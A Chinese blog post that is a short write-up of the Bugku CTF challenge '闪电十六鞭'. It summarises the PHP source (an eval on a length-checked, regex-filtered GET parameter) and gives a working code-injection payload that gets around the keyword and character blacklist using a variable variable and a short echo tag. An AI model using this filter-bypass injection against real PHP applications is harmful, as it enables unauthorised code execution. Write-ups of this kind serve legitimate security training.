[bugku]-闪电十六鞭

最新推荐文章于 2024-03-31 20:22:27 发布

c4fx

最新推荐文章于 2024-03-31 20:22:27 发布

阅读量680

点赞数

分类专栏： CTF题目笔记文章标签： sql php

本文链接：https://blog.csdn.net/weixin_52116519/article/details/123857531

版权

CTF题目笔记专栏收录该内容

37 篇文章 7 订阅

订阅专栏

在这里插入图片描述

==============================简化源码==============================

1、strlen($_GET['flag']) != strlen($exam)   flag变量长度为49
2、flag过滤了  '/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is'
3、(eval($_GET['flag']) === sha1($flag)) 

原理  
eval(<?php echo $flag;?>)

payload
?flag=$a='fla1';$a{3}='g';?><?=$$a;?>111111111111111111

分析
<?php echo $flag;?>  --》》 <?=$flag;?>  --》》 $a=flag  --》》 <?=$$a;?>  --》》$a='fla1';$a{3}='g';